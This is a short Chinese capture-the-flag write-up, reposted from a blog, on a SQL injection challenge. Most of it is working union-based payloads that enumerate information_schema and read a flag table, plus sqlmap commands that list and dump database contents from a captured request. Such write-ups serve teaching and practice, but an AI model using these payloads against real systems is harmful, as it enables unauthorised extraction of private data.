用hackbar插件的post对它进行测试,之前测试了出现人的成绩单,所以测试4,或者更高.
id=1' order by 5#
id=1' order by 4#
所以可以知道有四列
尝试联合查询
记得把前面的查询数据置空,写成id=0即可,显示正常,说明确确实实存在这四列数据
id=0' union select 1,2,3,4 #
id=0' union select 1,database(),user(),version() #
看到这里有库名,后面是user,和版本信息,所以我们要从库中找到我们想要的信息
id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version() #
id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),user(),version()#
id=0' union select 1,(select skctf_flag from fl4g) ,user(),version()#
sqlmap进行扫描
首先用bu’rpsuit进行抓包,得到的内容进行扫描:
输入查询1
python sqlmap.py -r "D:\注入\4.txt" -p id --dbs
python sqlmap.py -r "D:\注入\4.txt" -p id -D skctf_flag --tables
-D –>指定数据库名称
–tables –>列出数据库中的表(tables前有两个-)
python sqlmap.py -r "D:\注入\4.txt" -p id -D skctf_flag -T fl4g --columns
-T –>指定表名称
–columns –>列出表中的字段
知道字段名称后,想办法获取字段内容
python sqlmap.py -r "D:\注入\4.txt" -p id -D skctf_flag -T fl4g -C skctf_flag --dump
–dump –>列出字段数据(dump前有两个-)
-C 为指定列名称
得到flag
转自博客